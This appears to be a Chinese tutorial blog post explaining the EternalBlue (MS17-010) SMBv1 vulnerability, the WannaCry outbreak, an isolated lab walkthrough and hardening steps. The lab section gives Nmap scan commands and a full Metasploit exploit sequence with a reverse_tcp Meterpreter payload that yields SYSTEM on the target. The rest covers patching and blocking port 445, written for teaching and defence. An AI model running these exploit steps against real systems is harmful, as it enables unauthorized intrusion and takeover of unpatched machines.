提到网络攻击新人最先听说的几个名字里“永恒之蓝”一定排得上号。2017年5月那场勒索蠕虫爆发让这个本属于军事级武器库的名字一夜之间传遍技术圈。我当时正在实验室里折腾内网渗透实验第二天一早就发现隔壁机房十几台没装补丁的Windows机器全部中了招屏幕被锁文件被加密连开机都困难。从那时起我才真正理解什么叫“未修复漏洞的代价”。永恒之蓝本质上是Windows SMBv1协议里的一个远程代码执行漏洞集合安全公告编号MS17-010对应CVE-2017-0143到CVE-2017-0148。攻击者向开放了445端口的目标发送一组畸形数据包不需要账号密码、不需要用户点击任何东西就能在目标机器上以系统最高权限执行任意命令。听起来像天方夜谭这就是它的“狠”法。这篇文章我打算掰开揉碎讲清楚漏洞为什么存在、利用链是怎么走的、新人该用什么姿势在隔离环境里验证它、以及我踩过哪些坑。无论你是刚入门的网安专业学生还是被公司抓去当“安全值班人”的运维读完应该都能对SMB协议和这套攻击手法有一个系统认识遇到类似问题也不至于两眼一抹黑。1. 先搞清楚永恒之蓝到底是个什么漏洞很多新人一上来就背编号、背端口结果聊起原理全是浆糊。我跟你说先把SMB这个老协议搞明白后面一切都顺了。1.1 SMBv1一个本该退休却又一直没退休的老协议SMB是Windows系统里用于文件共享、打印机共享的协议最早可以追溯到上世纪80年代。SMBv1就是其中最老的一代协议设计简陋安全机制几乎没有。后续微软推出了SMBv2、SMBv3功能更强、性能更好、安全性也高不少。但为了兼容老设备、老应用Windows系统里默认还是把SMBv1保留着很多机器上是“虽然你不用它但它一直在后台待命”的状态。永恒之蓝攻击的就是这个“待命的老保安”。SMBv1在解析某些特殊请求时对数据长度和缓冲区边界的校验不够严格导致攻击者可以构造特殊报文让目标系统发生缓冲区溢出。这个溢出发生在操作系统内核态的驱动SRV.SYS里不是普通的用户态程序所以一旦被利用攻击者拿到的就是整个系统的控制权而不是某个软件的权限。理解这个背景很重要因为它解释了为什么一台电脑只要开放445端口、没打补丁就等于把门锁拆了挂在外面。你不需要骗用户下载木马也不需要诱导他点链接直接往门里塞一个包裹包裹爆炸后门禁就归你了。1.2 一次未认证的远程请求如何拿到系统最高权限MS17-010不是单独一个漏洞而是一批漏洞的集合。补丁公告里覆盖了好几个CVE编号具体如下编号含义MS17-010微软发布的安全公告编号用于统一描述这批SMB漏洞CVE-2017-0143信息泄露类漏洞攻击者可用于探测内存布局CVE-2017-0144远程代码执行漏洞永恒之蓝主打的利用点CVE-2017-0145 至 0148同样涉及远程代码执行与信息泄露的系列漏洞攻击者首先利用信息泄露漏洞获取目标系统内存中的关键布局信息再构造特定的畸形SMB_COM_NT_TRANS请求往目标内存池中“喷洒”精心布置的数据。当目标系统把这些数据复制到过小的缓冲区时就会覆盖掉相邻内存中的关键结构体攻击者借此改写函数指针让系统跳转到自己准备好的恶意代码上最终以内核权限执行。你可以把内存池想象成一个存放快递的货架每个包裹都有指定的格子。攻击者发现货架管理员对包裹尺寸不仔细测量于是故意塞了一个超大包裹直接挤爆旁边的格子并趁乱把一个“假冒管理员”的纸条塞了进去。后面的快递收发就全听这张纸条指挥了。受影响的系统从Windows XP一直到Windows 8、Server 2012的早期版本范围非常广。Windows 10因为SMB相关代码做过大量重写基本不受影响。但问题在于医院影像设备、工控机、老旧的ERP服务器很多还在跑Windows 7甚至XP这些机器的SMB端口常年暴露在内网里至今依然是安全事件的高发入口。2. 从利用武器到全球勒索它的“狠”体现在哪里“永恒之蓝”这个名字其实来自某境外情报机构泄露的一批网络攻击武器。2017年4月一个黑客团伙把这批武器公开到了互联网上里面除了永恒之蓝还有一堆针对Windows系统的漏洞利用工具。随后有人把这些武器改造成勒索蠕虫5月突然爆发几小时之内就横扫了大量企业和公共机构的内部网络。2.1 零点击、端口直达连骗都懒得骗普通网络攻击要成功一般得靠用户配合。钓鱼邮件要等人点附件水坑攻击要等用户访问指定的网站木马要诱骗用户运行。但永恒之蓝这类漏洞完全不需要这些。攻击者只需要知道目标的IP地址并能从网络访问目标的445端口剩下的全部交给数据包去完成。这就形成了一个非常棘手的组合攻击者零成本、零交互、零门槛一旦目标存在漏洞成功率接近百分之百。对攻击者来说它既不需要跟目标“聊天”也不需要“钓鱼”更像是在夜里挨个试门锁门锁不换的那几家一推就开。新人一定要理解“零点击远程代码执行”这个概念的杀伤力。它意味着攻击者不需要踩任何“人体工程学”的坑不需要欺骗任何一个员工纯粹靠协议和系统本身的弱点就能完成入侵。这类漏洞在安全行业里的评级永远是最高优先级。2.2 武器泄露与蠕虫化几小时打穿一栋楼的445单兵作战已经够可怕了更可怕的是它被做成蠕虫。WannaCry勒索蠕虫的内核就是永恒之蓝它感染一台电脑后立刻开始扫描同一网络里的其他445端口发现开放端口就发起漏洞攻击攻击成功再继续扫描下一台。这种传播方式完全不依赖人的行为所以在大型内网里几乎是“水银泻地”。我记得当时有些单位的网管发现中招后第一时间就是拔网线但已经晚了因为局域网里机器之间互相传染传播速度远超人工处置速度。另一个“狠”点是这批漏洞武器被公开后很多攻击组织开始把它编入自己的攻击工具箱用于内网横向移动。也就是说哪怕攻击者最初是通过钓鱼邮件打进来的只要内网有一台Windows 7/Server 2008没有打补丁永恒之蓝就可能成为他在内网里“横行霸道”的桥头堡。这也是为什么直到今天护网行动和红蓝对抗里永恒之蓝仍然是一个高频出现的考点。从影响范围看这个漏洞叠加了三个因素影响系统多、利用门槛低、可蠕虫化传播。三件事碰在一起就成了教科书级的严重漏洞。3. 新人动手在隔离靶场里完成一轮检测与利用验证纸上谈兵没意思新人最需要的是一次完整的实操体验。但注意我只建议在完全隔离的靶机环境里做验证任何连到公司内网或生产环境的扫描都可能给你带来大麻烦。我在这部分的演示全部基于一个不联网的VMware虚拟机环境。3.1 靶场搭建与网络隔离的三个关键点我建议准备两台虚拟机攻击机用Kali Linux靶机用Windows 7 x64 SP1。Windows 7是永恒之蓝利用成功率最高的目标系统因为内存布局相对稳定公开的利用模块对它优化得也最好。三个关键点缺一个都会出事第一虚拟机网络一定要改成“仅主机模式”或者“NAT但不做端口转发”确保靶机无法访问外部网络攻击机也无法通过宿主机的物理网卡触达其他电脑。我见过有人把靶机网络设成桥接模式结果扫描器一跑直接把同网段里一台正在办公的电脑给扫出来了吓得赶紧断电。第二Windows 7靶机装好系统后关掉自动更新千万不要打补丁。如果打了MS17-010补丁漏洞就不存在了整个实验也没有意义。会装系统的同学记得在安装向导界面就把更新服务禁用掉。第三装完系统第一时间做一个干净快照。利用永恒之蓝的过程有时候不稳定靶机可能直接蓝屏重启有快照就可以一键还原避免反复重装系统浪费一晚上时间。环境准备好之后记录两台机器的IP。我这边虚拟机网段用的是192.168.88.0/24攻击机是192.168.88.128靶机是192.168.88.129。你根据自己虚拟网络配置调整即可。3.2 漏洞检测Nmap脚本与MSF辅助模块一个都不能少先做端口确认。在Kali终端执行nmap -sS -sV -p445 192.168.88.129正常会看到445端口开放服务标识为microsoft-ds。这说明目标机器的SMB服务在运行。接着用Nmap的漏洞检测脚本确认是否存在MS17-010nmap -p445 --script smb-vuln-ms17-010 192.168.88.129如果目标存在漏洞脚本输出里会出现“VULNERABLE”标志并列出MS17-010相关的CVE编号。这个检测方式发送的是探测请求不会真正触发漏洞利用相对安全但它已经足以告诉我们目标有没有打过补丁。然后再用Metasploit的辅助模块交叉验证一次msfconsole进入MSF提示符后执行use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.88.129 run如果输出结果里有“Host is likely VULNERABLE”之类的字样说明MSF也认为目标存在漏洞。两个工具的结论一致基本就坐实了。这个环节我想强调一件事检测和利用是两码事。很多新人觉得Nmap扫出来有漏洞就约等于被拿下了其实漏洞扫描只是确认“门没锁”而利用则是真正“推开门走进去”。实际工作中你绝对不能拿这个脚本去扫没有授权的系统哪怕只是检测也会被安全设备记录并触发告警。3.3 利用验证步步走从探测到拿到SYSTEM权限在MSF里继续操作加载永恒之蓝利用模块use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.88.129 set LHOST 192.168.88.128 set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit这个模块非常挑食默认只针对64位的Windows 7和Server 2008 R232位系统请换用ms17_010_psexec模块。我第一次做实验时没注意系统架构连着试了三次都失败后来才发现靶机装的是32位系统白白折腾了半小时。如果一切顺利MSF会输出类似Meterpreter session 1 opened的信息弹回来一个Meterpreter会话。这时在MSF里输入getuid如果看到输出NT AUTHORITY\SYSTEM就说明你已经拿到了系统最高权限。再输入sysinfo可以看到目标主机的完整信息包括系统版本、架构、计算机名等。这一步演示的意义在于让新人直观感受“没有账号密码却直接成了系统管理员”的冲击感。现实攻击中攻击者拿到这个权限后可以关杀软、装后门、窃取哈希、横向移动每一步都是灾难。需要特别提醒的是Meterpreter的reverse_tcp载荷需要目标能够回连攻击机的IP。很多新人实验时发现reverse_tcp弹不回会话第一反应是模块有问题其实十有八九是靶机的防火墙拦截了外连或者虚拟机的网络模式不对。可以把靶机的Windows防火墙先停掉验证环境里省去很多干扰项。3.4 演示收尾快照回滚与现场清理实验做完最重要的收尾动作是恢复快照。我在靶机上执行过的每一步都可能留下操作痕迹比如系统日志会记录异常网络连接、内存转储文件可能残留这些在真实对抗里都算“入侵痕迹”。用快照回滚相当于把靶机重置到实验前状态干净彻底。攻击机上也要检查一下有没有不必要的文件残留尤其是Meterpreter会话结束后产生的历史命令记录。然后关闭两台虚拟机断开虚拟网络实验就算正式结束。这里我想多提一句陷阱不是在实验过程中而是实验做完之后。有人演示完就把靶机放在那儿当普通虚拟机用过几天开机连上网络发现它还在扫别人这种事不是没有。隔离机器用完就销毁或快照恢复才是正确的习惯。4. 踩坑清单新人最容易在哪些环节翻车带过几个刚入行的新人之后我发现大家踩的坑高度相似。有些是无心之失有些是对漏洞的理解有偏差。整理几个典型的能帮你省掉不少试错时间。4.1 最危险的错误拿扫描器直接扫生产网这是所有坑里最要命的一个。有些新人为了“练手”进了公司就对着内网网段扫445理由是“我只用检测脚本不利用应该没风险”。实际情况分分钟教做人第一检测脚本可能误触发防御机制。永恒之蓝的检测请求虽然不直接利用漏洞但它发出的畸形报文在安全设备眼里和攻击行为高度相似EDR、IDS、防火墙都会拉起告警。一旦告警关联到你的账号处理流程直接升级。第二某些系统在收到恶意SMB请求时可能会崩溃。虽然检测脚本理论上不触发内核溢出但老系统对畸形包的处理本身就不稳定我见过有人扫一台Windows XP的打印机服务器结果对方直接蓝屏办公室所有打印任务集体中断。第三生产环境里的漏洞扫描必须走授权流程。正规的安全测试都有边界和授权文件明确写了哪些IP段可以动、哪些不能碰。没有授权哪怕只是探测从合规角度讲也是越界行为。新人想练检测老老实实在隔离靶机里练或者用公开的靶场环境。别拿饭碗去换“练手”。4.2 防护加固的三个真相说回防御。永恒之蓝的防护没那么多玄学核心就三件事打补丁、禁SMBv1、封端口。打补丁是第一优先。微软在2017年3月就发布了例行安全更新修复了MS17-0105月勒索蠕虫爆发后又紧急推送了KB4013389专项更新。只要系统更新及时永恒之蓝基本就等于一根废铁。很多中招案例的根源都是僵尸系统常年不更新、也没有集中补丁管理机制才让漏洞存活了这么久。禁用SMBv1是很多人容易忽略的第二步。在Windows 8及更高版本的PowerShell管理员窗口执行Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force或者用命令Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol在新系统上禁用SMBv1一般不会影响正常使用因为现代Windows默认使用SMBv2/SMBv3。但要注意如果内网还有XP、老打印机、旧NAS这些依赖SMBv1的设备禁掉后它们可能会无法访问共享需要提前评估兼容性。第三步是用防火墙限制445端口的暴露面。对于不需要对外提供文件共享的机器直接在Windows防火墙里封禁入站445netsh advfirewall firewall add rule nameBlock-SMB-TCP-445 dirin actionblock protocolTCP localport445对于必须开放文件共享的服务器则应通过防火墙规则只允许特定IP段访问而不是对全内网开放。这三招的顺序是先打补丁补漏洞再禁老协议消隐患最后封端口缩暴露面。三步都做了永恒之蓝基本打不进来。4.3 常见问题速查与自我排查思路我把实验过程中容易遇到的问题整理成一张速查表供你对照处理现象可能原因处理方式Nmap显示VULNERABLE但MSF利用失败目标系统是32位模块架构不匹配改用ms17_010_psexec模块或在32位靶机上使用对应架构的载荷靶机蓝屏重启利用代码触发了内存崩溃池布局不稳定恢复快照后重试降低并发扫描不要在同一台机器上反复测试Meterpreter弹不回会话防火墙拦截回连或靶机无法访问攻击机关闭靶机防火墙确认虚拟机网络模式互通检测模块提示服务不可达目标445端口没开放或SMB服务被禁用先确认目标SMB服务状态再排查防火墙规则payload设置报错未选择与目标架构匹配的载荷x64系统用windows/x64/meterpreter/reverse_tcpx86用windows/meterpreter/reverse_tcp还有一点新人容易把“永恒之蓝”和“勒索病毒”画等号其实这两个概念不在一个层次。永恒之蓝是漏洞勒索病毒是恶意软件。WannaCry只是把永恒之蓝当作传播入口之一攻击者拿到控制权后既可以加密文件勒索也可以植入后门挖矿做什么都可以。把“漏洞”“漏洞利用工具”“恶意软件”三个概念拆开理解后面学内网渗透时才不会绕晕。最后再分享一个小习惯。我现在拿到任何一台Windows机器第一件事就是看它的补丁更新日期再查445端口有没有对外开放最后确认SMB服务版本。这套“三连问”花不了五分钟但能救你无数次。永恒之蓝已经过去好几年了可它的影子还活在无数老系统里。理解了它的运作逻辑你就理解了这一类基于协议层漏洞攻击的本质老协议、没补丁、暴露端口这三个条件凑齐就是灾难。别让自己成为那个把三个条件凑齐的人。